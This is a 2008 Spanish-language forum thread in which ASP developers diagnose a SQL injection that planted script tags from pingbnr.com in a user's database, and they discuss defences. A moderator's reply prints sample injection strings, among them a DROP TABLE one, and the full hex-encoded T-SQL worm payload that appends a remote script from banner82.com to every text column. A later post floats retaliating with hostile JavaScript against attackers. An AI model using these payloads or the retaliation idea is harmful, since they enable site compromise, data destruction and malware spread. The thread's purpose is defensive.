Foros del Web » Programando para Internet » ASP Clásico »

http://www.pingbnr.com

Estas en el tema de http://www.pingbnr.com en el foro de ASP Clásico en Foros del Web. Hace un par de días que el codigó que tengo en mi base de datos SQL tiene "pegado" un script de esa pagina. No entiendo ...
  #1 (permalink)  
Antiguo 25/06/2008, 13:33
Avatar de pcarvajal  
Fecha de Ingreso: enero-2002
Mensajes: 701
Antigüedad: 23 años, 3 meses
Puntos: 8
http://www.pingbnr.com

Hace un par de días que el codigó que tengo en mi base de datos SQL tiene "pegado" un script de esa pagina. No entiendo muy bien lo que sucede.
Obviamente en un principio los registros estaban limpios, pero ahora sin motivo aparente fueron adulterados.
Alguien podría explicarme porfavor como solucionar esto?

este es el codigo que se les pega a los registros
Código PHP:
<script src=http://www.pingbnr.com/b.js></script><script src=http://www.pingbnr.com/b.js></script><script src=http://www.pingbnr.com/b.js></script> 
Cualquier ayuda se los agradecería enormemente.
  #2 (permalink)  
Antiguo 25/06/2008, 13:38
Avatar de u_goldman
Moderador
 
Fecha de Ingreso: enero-2002
Mensajes: 8.031
Antigüedad: 23 años, 3 meses
Puntos: 98
Respuesta: http://www.pingbnr.com

SQL injection...tienes dos opciones:

1. Generar un script que elimine esos tags de javascript -que si no me equivoco debe ser un intento de fishing-
2. Restaurar tu base de datos con algún backup -asumiendo que tengas un plan de mantenimiento-

Después, tendrás que ajustar tu código para eliminar esos ataques, hay varias cosas que se pueden hacer, pero habría que ver como recibes tus parámetros y cuáles son los datos que requieres para procesar tus consultas -controlar el uso de apóstrofes no es suficiente-.

Saludos.
__________________
"El hombre que ha empezado a vivir seriamente por dentro, empieza a vivir más sencillamente por fuera."
-- Ernest Hemingway
  #3 (permalink)  
Antiguo 25/06/2008, 13:46
Avatar de pcarvajal  
Fecha de Ingreso: enero-2002
Mensajes: 701
Antigüedad: 23 años, 3 meses
Puntos: 8
Respuesta: http://www.pingbnr.com

gracias u_goldman por tu pronta respuesta.

Como nunca me había sucedido esto, estoy en pañales. Sin querer importunarte, podrias profundizar un poco en esto:
Cita:
Después, tendrás que ajustar tu código para eliminar esos ataques, hay varias cosas que se pueden hacer, pero habría que ver como recibes tus parámetros y cuáles son los datos que requieres para procesar tus consultas -controlar el uso de apóstrofes no es suficiente-.
Dentro de las varias cosas por hacer y basado en tu experiencia, que me sugerirías??
  #4 (permalink)  
Antiguo 25/06/2008, 14:09
Avatar de u_goldman
Moderador
 
Fecha de Ingreso: enero-2002
Mensajes: 8.031
Antigüedad: 23 años, 3 meses
Puntos: 98
Respuesta: http://www.pingbnr.com

Hola de nuevo,

Depende del tipo de ataque que te estén haciendo -revisa tus logs- pero generalmente se hacía lo siguiente, supóngase este escenario:

Código:
<%
Dim id
id = Request.QueryString("id")

strSQL = "SELECT campo FROM tabla WHERE ID = " & id

'Suponiendo que se recibe un valor esperado, la salida de esta consulta al hacerle un response.write:
SELECT campo FROM tabla WHERE id = 567

%>
La técnica de inyección de SQL busca completar una sentencia de manera correcta, pero para poderte inyectar tengo que saber donde, JET generalmente te dará el una descripción bastante buena:

Código:
SELECT campo FROM tabla WHERE id = '
Aqui me da el nombre de la tabla, y con un poco de intuicion y suerte puedo hacerte bastante daño:

Código:
'Envio por querystring algo que haga valida la sentencia
'0 OR 1=1;UPDATE tabla SET campo = '<script src=blabla.com></script>'
SELECT campo FROM tabla WHERE id = 0 OR 1=1;UPDATE tabla SET campo = '<script src=blabla.com></script>'
Mas malicioso
Código:
'0 OR 1=1;DROP TABLE tabla
SELECT campo FROM tabla WHERE id = 0 OR 1=1;DROP TABLE tabla
Muchos desarrolladores te dirán que todo lo que tienes que hacer es controlar el apóstrofe replace("'", "''")


Lo que hacen los "worms" hoy en día (por eso decía que controlar el apóstrofe no basta sobre todo para bases de datos de MS SQL):
Código:
DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E62616E6E657238322E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);
Básicamente te están envíando mediante T-SQL todo el ataque empaquetado, de modo que tu motor de SQL interpretará eso y ejecutará una sentencia válida.

Cosas por hacer:

- Controlar el permiso del usuario público de la base de datos, muchas veces le damos más permisos de los que merecen, en la mayoría de los casos para sitios no tan nuevos, el usuario público no tiene porque tener permisos de escritura en la base de datos.
- Controlar las entradas del usuario a la base de datos, controlar apóstrofes, caracteres, palabras, si esperas un dato numérico puedes solamente valerte de la función Isnumeric, pero la recomendación en general es parametrizar tus consultas.
- Buscar alguna alternativa de SW para bloquear estos ataques: http://www.aqtronix.com/?PageID=99 es una aplicación excelente y gratuita


Saludos
__________________
"El hombre que ha empezado a vivir seriamente por dentro, empieza a vivir más sencillamente por fuera."
-- Ernest Hemingway
  #5 (permalink)  
Antiguo 25/06/2008, 20:02
Avatar de JuanRAPerez
Colaborador
 
Fecha de Ingreso: octubre-2003
Mensajes: 2.393
Antigüedad: 21 años, 6 meses
Puntos: 27
Respuesta: http://www.pingbnr.com

poder u_goldman, asi como iniciaron con las clasesillas de el modulo de usuarios, y el de las paginas multi idioma, seria bueno un manualito para evitar el sql injection no les parece?


pcarvajal: si quieres hacer un par de pruebas de como se hace yo hace un par de días encontré este enlace

http://www.sitepoint.com/article/sql...n-attacks-safe

es mas o menos interesante si tienes la necesidad de probar algunos tipos de ataques y poder ir viendo paso a paso como prevenirlos

suerte
__________________
JuanRa Pérez
San Salvador, El Salvador
  #6 (permalink)  
Antiguo 25/06/2008, 20:22
Avatar de u_goldman
Moderador
 
Fecha de Ingreso: enero-2002
Mensajes: 8.031
Antigüedad: 23 años, 3 meses
Puntos: 98
Respuesta: http://www.pingbnr.com

Cita:
Iniciado por JuanRAPerez Ver Mensaje
poder u_goldman, asi como iniciaron con las clasesillas de el modulo de usuarios, y el de las paginas multi idioma, seria bueno un manualito para evitar el sql injection no les parece?


pcarvajal: si quieres hacer un par de pruebas de como se hace yo hace un par de días encontré este enlace

http://www.sitepoint.com/article/sql...n-attacks-safe

es mas o menos interesante si tienes la necesidad de probar algunos tipos de ataques y poder ir viendo paso a paso como prevenirlos

suerte
Si...aunque la técnica explicada en el link (me parece) sería suceptible a un ataque encriptado, pero son buenas recomendaciones, en realidad yo por lo general recomiendo usar el command y con eso nada más te quitas de todos los demás problemas.

Saludos y gracias por compartir el link!
__________________
"El hombre que ha empezado a vivir seriamente por dentro, empieza a vivir más sencillamente por fuera."
-- Ernest Hemingway
  #7 (permalink)  
Antiguo 02/07/2008, 18:13
Avatar de pcarvajal  
Fecha de Ingreso: enero-2002
Mensajes: 701
Antigüedad: 23 años, 3 meses
Puntos: 8
Respuesta: http://www.pingbnr.com

gracias, muchas gracias por responder. Sus consejos me han sido de mucha utilidad.

He creado una función que filtra caracteres y palabras peligrosas (llamese comilla simple o instrucciones SQL) que es llamada en cada pagina del sitio para evitar esos ataques.

Noté que hay dos formas de atacar: ya sea desde los formularios o bien desde la misma barra de direcciones:
Si es desde los formularios, en los inputs generalmente agregan scripts que llaman a troyanos de javascript alojados en otras paginas.
Si es desde la barra de tareas, el ataque es más bien con un SQL encriptado en hexadecimal (como bien decías u_goldman). Grande fue la sorpresa cuando
desencripté el hexadecimal y vi las sentencias que realmente ejecutaban.
Leyendo y buscando información encontré que a esto le llaman XSS (Cross-site scripting) y aquí les dejo un enlace al respecto:
http://es.wikipedia.org/wiki/Cross_Site_Scripting

Entre tanto ataque, he pensado en cual sería la manera de contratacar (o al menos responder) los ataques. Creo que el baneo de ip es inútil (una ip aleatoria se saltaria cualquier tipo de intento de baneo), quizás redireccionar a una pagina que contenga algún Javascript que le deje pegado el equipo al maldito no sería mala idea.. no sé que piensan.. cualquier sugerencia es bienvenida

Al menos ya estoy más tranquilo y me siento más seguro, ahora me siento como si estuviera usando 5 condones a la vez

Gracias de nuevo, se pasaron
  #8 (permalink)  
Antiguo 02/07/2008, 18:19
Avatar de u_goldman
Moderador
 
Fecha de Ingreso: enero-2002
Mensajes: 8.031
Antigüedad: 23 años, 3 meses
Puntos: 98
Respuesta: http://www.pingbnr.com

Cita:
Al menos ya estoy más tranquilo y me siento más seguro, ahora me siento como si estuviera usando 5 condones a la vez
O sea...¿sacaste de circulación tu sitio?

Que bueno que ya te protegiste

Saludos
__________________
"El hombre que ha empezado a vivir seriamente por dentro, empieza a vivir más sencillamente por fuera."
-- Ernest Hemingway
  #9 (permalink)  
Antiguo 02/07/2008, 18:28
Avatar de pcarvajal  
Fecha de Ingreso: enero-2002
Mensajes: 701
Antigüedad: 23 años, 3 meses
Puntos: 8
Respuesta: http://www.pingbnr.com

Cita:
Iniciado por u_goldman Ver Mensaje
O sea...¿sacaste de circulación tu sitio?
No no, me refería a que ahora estoy limpio y ya no tengo ninguna cyber ETS
  #10 (permalink)  
Antiguo 04/07/2008, 08:28
Avatar de JuanRAPerez
Colaborador
 
Fecha de Ingreso: octubre-2003
Mensajes: 2.393
Antigüedad: 21 años, 6 meses
Puntos: 27
Respuesta: http://www.pingbnr.com

jajaja ten cuidado con los 5 condones

dado que la mucha "fricción y el calentamiento" los puede romper y eso te dar aun embarazo no deseado o lo que puede ser peor contraer SIDA.

en otro orden, seria bueno si queires compartir tus funciones en el apartado de el foro para este tipo de aportes, con el fin de poder ayudar a mas usuarios cuando entren y sobre todo los que con el pasar de los años entraran reviviendo foros de años anteriores y se topen con este post encuentren una función ya establecida y probada

suerte
__________________
JuanRa Pérez
San Salvador, El Salvador
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 08:45.